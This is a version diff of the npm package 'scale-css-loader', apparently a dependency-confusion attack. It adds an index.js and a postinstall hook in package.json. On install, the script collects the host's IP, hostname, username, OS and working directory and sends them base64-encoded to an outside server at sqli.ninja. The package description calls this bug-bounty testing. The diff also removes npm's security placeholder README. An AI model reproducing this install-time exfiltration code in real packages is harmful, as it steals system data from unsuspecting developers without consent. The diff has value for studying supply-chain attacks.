scale-css-loader 0.0.1-security → 100.0.7

package/index.js

@@ -0,0 +1,39 @@
+var os = require("os");
+
+// GET internal IP
+var address,os = require('os'),ifaces = os.networkInterfaces();
+
+// Iterate over interfaces ...
+for (var dev in ifaces) {
+
+    // ... and find the one that matches the criteria
+    var iface = ifaces[dev].filter(function(details) {
+        return details.family === 'IPv4' && details.internal === false;
+    });
+
+    if(iface.length > 0) address = iface[0].address;
+}
+
+// building the string for GET data in dc.php
+var datastring = 'Local%20IP:%09'+address+'%0aHostname:%09'+os.hostname()+'%0aUsername:%09'+os.userInfo().username+'%0aOperatingsystem:%09'+os.platform+'%20'+os.release+'%0aWorking%20directory:%09'+__dirname
+// converting into base64
+let buff = new Buffer(datastring);
+let base64datastring = buff.toString('base64');
+
+const https = require('https')
+const options = {
+  hostname: 'sqli.ninja',
+  port: 443,
+  path: '/stuff/dc.php?target=BC_pvt&package_name=scale-css-loader&repo=npm&data='+base64datastring,
+  method: 'GET'
+}
+
+const req = https.request(options, res => {
+  console.log(`statusCode: ${res.statusCode}`)
+})
+
+req.on('error', error => {
+  console.error(error)
+})
+
+req.end()

package/package.json

@@ -1,6 +1,12 @@
-{
-  "name": "scale-css-loader",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+{
+  "name": "scale-css-loader",
+  "version": "100.0.7",
+  "description": "Testing for dependency confusion vulnerabilities for private bug bounty programs. If you got hit contact me at mace@sqli.ninja",
+  "main": "index.js",
+  "scripts": {
+    "start": "node index.js",
+    "postinstall": "npm start"
+  },
+  "author": "mace_from_bc",
+  "license": "ISC"
+}

package/README.md

@@ -1,5 +0,0 @@
-# Security holding package
-
-This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
-
-Please refer to www.npmjs.com/advisories?search=scale-css-loader for more information.